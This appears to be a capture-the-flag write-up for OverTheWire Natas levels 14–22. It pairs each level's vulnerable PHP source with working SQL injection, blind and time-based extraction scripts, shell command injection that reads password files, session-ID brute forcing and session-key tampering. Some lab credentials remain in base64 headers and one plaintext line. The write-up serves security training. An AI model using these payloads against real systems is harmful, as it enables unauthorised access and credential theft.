if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

http://natas14.natas.labs.overthewire.org/index.php
post data=username="or true--&password="or true--

Successful login! The password for natas15 is <credential-redacted>
[credential redacted]

level 14->level 15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

import requests
import string

a = string.ascii_letters + string.digits
# POST http://natas15.natas.labs.overthewire.org/index.php?debug HTTP/1.1
# host: natas15.natas.labs.overthewire.org
# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Content-Type: application/x-www-form-urlencoded
# content-length: 46
# Origin: http://natas15.natas.labs.overthewire.org
# Authorization: Basic bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA==

# ❯ echo bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA== | base64 -d
# natas15:<credential-redacted>

# Connection: keep-alive
# Referer: http://natas15.natas.labs.overthewire.org/
# Upgrade-Insecure-Requests: 1
# Priority: u=0, i

# username=natas16" and password LIKE BINARY "a%

url = "http://natas15.natas.labs.overthewire.org/index.php?debug"
auth = ("natas15", "<credential-redacted>")
con = 32
data = {"username": 'natas16" AND password LIKE BINARY "a%'}

ans = 'hPkjKYviLQctEW33QmuXL6eDVfMW4'

sub = 'doesn'

while True:
for i in a:
print(f"i={i}")
data = {"username": f'natas16" AND password LIKE BINARY"{ans+i}%'}
response = requests.post(url=url,data=data,auth=auth)
if not sub in response.text:
ans += i
print(ans)
print(f"len {len(ans)}")
1
2
3
❯ python tmp.py 2>/dev/null
...
<credential-redacted>
[credential redacted]

level 15->level 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

grep -i pass dictionary.txt

$(grep -o ^. /etc/natas_webpass/natas17)

American
Americanism
Americanism's
Americanisms
Americans
Britisher
Celsius
Celsiuses
Christianities
Christmases
Congress
Congress's
December
December's
Decembers
E
E's
Easter
...

$(grep E /etc/natas_webpass/natas17)

nothing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python

import requests
import string

a = string.ascii_letters + string.digits
passlen = 32

# GET /?needle=%24%28grep+-o+%5E.+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search HTTP/1.1
# Host: natas16.natas.labs.overthewire.org
# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en
# Accept-Encoding: gzip, deflate
# DNT: 1
# Sec-GPC: 1
# Authorization: Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw==
# Connection: keep-alive
# Referer: http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+a+%2Fetc%2Fnatas_webpass%2Fnatas17%29&submit=Search
# Upgrade-Insecure-Requests: 1
# Priority: u=0, i

url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "<credential-redacted>")
parmas={"needle": '$(grep E /etc/natas_webpass/natas17)',"submit":"Search"}
sub = 'American'
# ans = 'EqjHJbo7LFNb8'
requests.Timeout=10

# response=requests.get(url=url,params=parmas,auth=auth)
# print(response.text)

# https://jhalon.github.io/over-the-wire-natas3/
# exist=''
# for x in a:
# parmas={"needle": f'$(grep {x} /etc/natas_webpass/natas17)',"submit":"Search"}
# response=requests.get(url=url,params=parmas,auth=auth)
# if not sub in response.text:
# exist += x
# print('using: '+exist)

exist='bhjkoqsvwCEFHJLNOT05789'

ans='EqjHJbo7LFNb8vwhHb'

ans=input()
print(ans)

while True:
for i in exist:
print(i)
parmas={"needle": f'$(grep ^{ans+i} /etc/natas_webpass/natas17)',"submit":"Search"}
response=requests.get(url=url,params=parmas,auth=auth)

if not sub in response.text:
ans += i
print(ans)
print(f"len {len(ans)}")
if len(ans)==32:
exit()

# EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

level 16->level 17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}

mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

username=natas18" AND IF(ASCII(SUBSTRING(password,1,1)) > 50,sleep(5),1)-- -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python

import time
import requests
import string

PASSLEN = 32
url = "http://natas17.natas.labs.overthewire.org/index.php"
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
data={'username':'natas18" AND IF(ASCII(SUBSTRING(password,1,1)) > 50,sleep(5),1)-- -'}

ans=''

for i in range(1,33):
a=48
b=122
while a<b:
j = (b+a)//2
print(j)

data={'username':f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1)) > {j},sleep(3),1)-- -'}
sta=time.time()
response=requests.post(url=url,data=data,auth=auth)
end=time.time()
t=end-sta

if t>3:
a=j+1
else:
b=j

ans += chr(a)
print(ans)

# <credential-redacted>
[credential redacted]

level 17->level 18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python

import time
import requests

PASSLEN = 32
url = "http://natas18.natas.labs.overthewire.org/index.php"
auth = ("natas18", "<credential-redacted>")

# cookie={'PHPSESSID':'1'}
# response=requests.post(url=url,cookies=cookie,auth=auth)
# print(response.text)
# print(len(response.text))
# 983

sta=89

for i in range(sta,641):
print(i)
cookie={'PHPSESSID':f'{i}'}
response=requests.post(url=url,cookies=cookie,auth=auth)
if len(response.text)!=983:
print(response.text)

# 119
# <html>
# <head>
# <!-- This stuff in the header has nothing to do with the level -->
# <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
# <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
# <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
# <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
# <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
# <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
# <script>var wechallinfo = { "level": "natas18", "pass": "<credential-redacted>" };</script></head>
# <body>
# <h1>natas18</h1>
# <div id="content">
# You are an admin. The credentials for the next level are:<br><pre>Username: natas19
# Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
# </div>
# </body>
# </html>

# <credential-redacted>
[credential redacted]

level 18->level 19

1
2
3
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

Please login with your admin account to retrieve credentials for natas20.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python

import requests
import string

PASSLEN = 32
url = "http://natas19.natas.labs.overthewire.org/index.php"
auth = ("natas19", "<credential-redacted>")

# PHPSESSID:3139352d61646d696e
# from hex: 195-admin
#
# i = 1
#
# a = f"{i}-admin"
# cookie={'PHPSESSID':f'{a.encode().hex()}'}
# print(cookie)
# response=requests.post(url=url,cookies=cookie,auth=auth)
# print(response.text)
# print(len(response.text))

l=1029

sta=0
sta=231

for i in range(sta,641):
a = f"{i}-admin"
cookie={'PHPSESSID':f'{a.encode().hex()}'}
print(f'{i} {cookie}')
response=requests.post(url=url,cookies=cookie,auth=auth)
if len(response.text) != l:
print(response.text)
exit()

# 281 {'PHPSESSID': '3238312d61646d696e'}
# <html>
# <head>
# <!-- This stuff in the header has nothing to do with the level -->
# <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
# <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
# <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
# <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
# <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
# <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
# <script>var wechallinfo = { "level": "natas19", "pass": "<credential-redacted>" };</script></head>
# <body>
# <h1>natas19</h1>
# <div id="content">
# <p>
# <b>
# This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
# </b>
# </p>
# You are an admin. The credentials for the next level are:<br><pre>Username: natas20
# Password: <credential-redacted></pre></div>
# </body>
# </html>
#

# <credential-redacted>
[credential redacted]

level 19->level 20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
<?php

function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}

/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}

function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode() ?: "";
}

function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
return true;
}

/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}

session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}

?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
name=admin%0Aadmin 1

PHPSESSID=<natas-session>

DEBUG: MYREAD <natas-session>
DEBUG: Reading from /var/lib/php/sessions/mysess_<natas-session>
DEBUG: Read [name admin ]
DEBUG: Read [admin 1]
DEBUG: Read []
DEBUG: Name set to admin admin 1
You are an admin. The credentials for the next level are:

Username: natas21
Password: <credential-redacted>

Your name:
View sourcecode
DEBUG: MYWRITE <natas-session> name|s:14:"admin admin 1";admin|s:1:"1";
DEBUG: Saving in /var/lib/php/sessions/mysess_<natas-session>
DEBUG: admin => 1
DEBUG: name => admin admin 1

<credential-redacted>
[credential redacted]

level 20->level 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head>
<body>
<h1>natas21</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>
</p>

<?php

function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */

session_start();
print_credentials();

?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

second page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<html>
<head>
<link
rel="stylesheet"
type="text/css"
href="http://natas.labs.overthewire.org/css/level.css"
/>
</head>
<body>
<h1>natas21 - CSS style experimenter</h1>
<div id="content">
<p>
<b
>Note: this website is colocated with
<a href="http://natas21.natas.labs.overthewire.org"
>http://natas21.natas.labs.overthewire.org</a
></b
>
</p>
<?php session_start(); // if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key =>
$val) { $_SESSION[$key] = $val; } } if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br />"; print_r($_SESSION); } // only
allow these keys $validkeys = array("align" => "center", "fontsize" =>
"100%", "bgcolor" => "yellow"); $form = ""; $form .= '
<form action="index.php" method="POST">
'; foreach($validkeys as $key => $defval) { $val = $defval;
if(array_key_exists($key, $_SESSION)) { $val = $_SESSION[$key]; } else {
$_SESSION[$key] = $val; } $form .= "$key:
<input name="$key" value="$val" /><br />"; } $form .= '<input
type="submit"
name="submit"
value="Update"
/>'; $form .= '
</form>
'; $style = "background-color: ".$_SESSION["bgcolor"]."; text-align:
".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; $example =
"
<div style="$style">Hello world!</div>
"; ?>

<p>Example:</p>
<?=$example?>

<p>Change example values here:</p>
<?=$form?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

request to get cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST http://natas21-experimenter.natas.labs.overthewire.org/index.php HTTP/1.1
host: natas21-experimenter.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug
Content-Type: application/x-www-form-urlencoded
content-length: 65
Origin: http://natas21-experimenter.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyMTpCUGh2NjNjS0UxbGtRbDA0Y0U1Q3VGVHpYZTE1TmZpSA==
Connection: keep-alive
Cookie: PHPSESSID=<natas-session>
Upgrade-Insecure-Requests: 1
Priority: u=0, i

align=center&fontsize=100%25&bgcolor=yellow&submit=Update&admin=1

change cookie with above

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET http://natas21.natas.labs.overthewire.org/ HTTP/1.1
host: natas21.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyMTpCUGh2NjNjS0UxbGtRbDA0Y0U1Q3VGVHpYZTE1TmZpSA==
Connection: keep-alive
Cookie: PHPSESSID=<natas-session>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0


# response
You are an admin. The credentials for the next level are:<br><pre>Username: natas22
Password: <credential-redacted>
[credential redacted]

level 21->level 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
http://natas22.natas.labs.overthewire.org/

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

<?php
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
GET http://natas22.natas.labs.overthewire.org/?revelio HTTP/1.1
host: natas22.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic bmF0YXMyMjpkOHJ3R0JsMFhzbGczYjc2dWgzZkViU2xuT1VCbG96eg==
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0
Cookie: PHPSESSID=<natas-session>



<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<credential-redacted>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: <credential-redacted></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<credential-redacted>
[credential redacted]

level 22->level 23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
